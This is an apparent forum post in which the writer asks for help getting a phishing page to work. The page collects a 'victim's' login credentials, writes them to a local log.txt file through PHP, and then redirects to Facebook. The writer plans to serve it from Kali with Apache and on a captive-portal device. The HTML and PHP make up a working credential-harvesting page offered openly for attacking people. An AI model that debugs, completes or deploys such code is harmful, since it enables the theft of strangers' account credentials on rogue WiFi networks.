First off I am no coder so. I want to create a custom html that ask a victim for creds then post the creds to a txt file in current directory. So far I have a simple html .
login.html
<form action="login.php" method="post">
<input type="text" id="username" name="username"/>
<input type="password" id="password" name="password"/>
<input type="submit" name="Login" value="Login">
</form>
login.php
<html>
<head>
<title>Login</title>
</head>
<body>
<?php
//If Submit Button Is Clicked Do the Following
if ($_POST['Login']){
$myFile = "log.txt";
$fh = fopen($myFile, "w+") or die("can't open file");
$stringData = $_POST['username'] . ":";
echo fwrite($fh, $stringData);
$stringData = $_POST['password'] . "\n";
echo fwrite($fh, $stringData);
fclose($fh);
}
?>
<script>location.href='https://facebook.com';</script>
</body>
</html>
I am running this on Kali with Apache2. I can input the text and hit login then it redirects me to Facebook just fine. The only issue is that is does not create the log.txt in /var/www.
I am on Kali 2016.2. I want to move this the the Nano for the captive portal. Any Ideas???
Thanks